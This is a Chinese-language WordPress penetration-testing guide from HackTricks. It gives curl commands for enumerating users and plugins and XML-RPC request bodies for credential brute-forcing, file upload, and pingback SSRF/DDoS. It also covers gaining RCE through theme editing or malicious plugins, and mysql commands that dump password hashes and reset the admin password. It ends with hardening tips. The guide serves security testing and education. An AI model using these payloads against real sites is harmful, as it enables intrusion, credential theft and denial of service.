18 KiB
Wordpress
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载PDF版本的HackTricks,请查看订阅计划!
- 获取官方PEASS & HackTricks周边产品
- 探索PEASS家族,我们的独家NFTs
- 加入 💬 Discord群 或 电报群 或 关注我们的Twitter 🐦 @carlospolopm。
- 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。
使用Trickest可以轻松构建和自动化工作流程,使用世界上最先进的社区工具。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
基本信息
上传的文件位于:http://10.10.10.10/wp-content/uploads/2018/08/a.txt
主题文件可在/wp-content/themes/中找到,因此如果更改主题的某些php以获得RCE,则可能会使用该路径。例如:使用twentytwelve主题,您可以在以下位置访问404.php文件:/wp-content/themes/twentytwelve/404.php
另一个有用的URL可能是:/wp-content/themes/default/404.php
在wp-config.php中,您可以找到数据库的根密码。
要检查的默认登录路径:/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
主要WordPress文件
index.php
license.txt
包含有用信息,如安装的WordPress版本。wp-activate.php
用于设置新WordPress站点时的电子邮件激活过程。- 登录文件夹(可能已重命名以隐藏):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
是WordPress的一个文件,它代表了一项功能,使数据能够通过HTTP作为传输机制和XML作为编码机制进行传输。这种类型的通信已被WordPress的REST API取代。wp-content
文件夹是存储插件和主题的主目录。wp-content/uploads/
是存储上传到平台的任何文件的目录。wp-includes/
这是存储核心文件的目录,如证书、字体、JavaScript文件和小部件。wp-sitemap.xml
在WordPress版本5.5及更高版本中,WordPress会生成一个包含所有公共帖子和可公开查询的帖子类型和分类法的站点地图XML文件。
后渗透
wp-config.php
文件包含WordPress连接到数据库所需的信息,如数据库名称、数据库主机、用户名和密码、身份验证密钥和盐以及数据库表前缀。此配置文件还可用于激活DEBUG模式,可用于故障排除。
用户权限
- 管理员
- 编辑:发布和管理自己和其他人的帖子
- 作者:发布和管理自己的帖子
- 贡献者:编写和管理自己的帖子,但无法发布它们
- 订阅者:浏览帖子并编辑其个人资料
被动枚举
获取WordPress版本
检查是否可以找到文件/license.txt
或/readme.html
在页面的源代码中(例如来自https://wordpress.org/support/article/pages/的示例):
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSS link files
- JavaScript files
获取插件
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
获取主题
{% endcode %}
{% code overflow="wrap" %}
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
提取一般版本
{% code overflow="wrap" %}
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
{% endcode %}
使用Trickest轻松构建并由全球最先进的社区工具驱动的自动化工作流程。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
主动枚举
插件和主题
您可能无法找到所有可能的插件和主题。为了发现它们所有,您需要主动地暴力破解插件和主题的列表(幸运的是,有自动化工具包含了这些列表)。
用户
ID暴力
通过暴力破解用户ID,您可以从WordPress网站获取有效用户:
curl -s -I -X GET http://blog.example.com/?author=1
如果响应为200或30X,表示id是有效。如果响应为400,则id是无效。
wp-json
您还可以尝试通过查询获取有关用户的信息:
curl http://blog.example.com/wp-json/wp/v2/users
另一个可以揭示有关用户信息的 /wp-json/
端点是:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
注意,此端点仅公开已发布帖子的用户。仅提供启用此功能的用户的信息。
还要注意**/wp-json/wp/v2/pages**可能会泄漏IP地址。
登录用户名枚举
在**/wp-login.php
登录时,消息会根据指定的用户名是否存在而不同**。
XML-RPC
如果xml-rpc.php
处于活动状态,则可以执行凭据暴力破解,或者将其用于对其他资源发动DoS攻击(例如,您可以使用此工具来自动化此过程)。
要查看它是否处于活动状态,请尝试访问_/xmlrpc.php_并发送此请求:
检查
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
凭证暴力破解
wp.getUserBlogs
、**wp.getCategories
或metaWeblog.getUsersBlogs
**是一些可用于暴力破解凭证的方法。如果你找到其中任何一个,你可以发送类似以下内容:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
在一个200状态码的响应中,如果凭据无效,应该显示消息_"用户名或密码不正确"_。
使用正确的凭据,您可以上传一个文件。在响应中将显示路径(https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
绕过2FA
这种方法适用于程序而非人类,并且比较老旧,因此不支持2FA。因此,如果您拥有有效凭据但主入口受到2FA保护,您可能能够滥用xmlrpc.php以绕过2FA登录。请注意,您将无法执行通过控制台可以执行的所有操作,但您可能仍然能够实现RCE,就像Ippsec在https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s中所解释的那样。
DDoS或端口扫描
如果您可以在列表中找到方法_pingback.ping_,则可以让WordPress向任何主机/端口发送任意请求。
这可用于要求成千上万的WordPress 站点访问一个位置(从而在该位置引起DDoS),或者您可以使用它来让WordPress扫描一些内部网络(您可以指定任何端口)。
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
如果您得到的faultCode值大于0(17),这意味着端口是开放的。
查看前一节中对**system.multicall
**的使用,了解如何滥用此方法来发动 DDoS 攻击。
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
该文件通常位于WordPress站点的根目录下:/wp-cron.php
当访问此文件时,会执行一个“繁重”的MySQL 查询,因此攻击者可以利用它来引发DoS攻击。
此外,默认情况下,wp-cron.php
会在每次页面加载时调用(每当客户端请求任何WordPress页面时),这在高流量站点上可能会引起问题(DoS)。
建议禁用Wp-Cron,并在主机内部创建一个真正的cronjob,以在规律的时间间隔内执行所需的操作(而不会引起问题)。
/wp-json/oembed/1.0/proxy - SSRF
尝试访问 https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net,WordPress站点可能会向您发出请求。
当它不起作用时的响应:
SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
此工具检查methodName: pingback.ping和路径**/wp-json/oembed/1.0/proxy**是否存在,如果存在,则尝试利用它们。
Automatic Tools
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
使用Trickest 可轻松构建并使用全球最先进的社区工具来自动化工作流程。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
通过覆盖一位来获取访问权限
这不仅仅是一个真正的攻击,更是一种好奇。在CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man 中,您可以翻转任何WordPress文件中的1位。因此,您可以翻转文件/var/www/html/wp-includes/user.php
中的位置5389
,以将NOT (!
) 操作变为NOP。
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
面板RCE
修改主题中的php文件(需要管理员凭据)
外观 → 主题编辑器 → 404模板(在右侧)
更改内容为php shell:
搜索互联网以了解如何访问更新后的页面。在这种情况下,您必须访问此处:http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
您可以使用:
use exploit/unix/webapp/wp_admin_shell_upload
插件RCE
PHP插件
可能可以将.php文件上传为插件。
例如,使用以下方式创建您的php后门:
然后添加一个新插件:
上传插件并点击“立即安装”:
点击“继续”:
可能看起来不会有任何变化,但如果您转到媒体库,您将看到您上传的shell:
访问它,您将看到执行反向shell的URL:
上传和激活恶意插件
此方法涉及安装已知易受攻击且可被利用以获取Web shell的恶意插件。此过程通过WordPress仪表板执行如下:
-
获取插件:从Exploit DB等来源获取插件,例如此处。
-
安装插件:
- 转到WordPress仪表板,然后转到
仪表板 > 插件 > 上传插件
。 - 上传下载的插件的zip文件。
-
激活插件:一旦插件成功安装,必须通过仪表板激活。
-
利用:
- 安装并激活插件“reflex-gallery”后,可以利用其已知易受攻击的漏洞。
- Metasploit框架提供了针对此漏洞的利用。通过加载适当的模块并执行特定命令,可以建立一个meterpreter会话,从而未经授权地访问站点。
- 需要注意的是,这只是利用WordPress站点的众多方法之一。
内容包括描绘在WordPress仪表板中安装和激活插件步骤的视觉辅助。然而,重要的是要注意,未经授权地利用漏洞是非法和不道德的。这些信息应该负责任地使用,仅在合法的情况下使用,例如在明确获得许可的渗透测试中。
有关更详细的步骤,请查看:https://www.hackingarticles.in/wordpress-reverse-shell/**
后渗透
提取用户名和密码:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
更改管理员密码:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
WordPress 保护
定期更新
确保 WordPress、插件和主题是最新的。还要确认在 wp-config.php 中启用了自动更新:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
安全插件
其他建议
- 删除默认的 admin 用户
- 使用 强密码 和 2FA
- 定期审查用户的 权限
- 限制登录尝试 以防止暴力攻击
- 重命名
wp-admin.php
文件,并仅允许内部访问或特定IP地址访问。
使用 Trickest 可轻松构建和 自动化工作流程,由全球 最先进 的社区工具提供支持。
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)!
支持 HackTricks 的其他方式:
- 如果您想在 HackTricks 中看到您的 公司广告 或 下载 PDF 版本的 HackTricks,请查看 订阅计划!
- 获取 官方 PEASS & HackTricks 商品
- 探索 PEASS 家族,我们的独家 NFTs
- 加入 💬 Discord 群组 或 电报群组 或在 Twitter 🐦 @carlospolopm 上 关注 我们。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来 分享您的黑客技巧。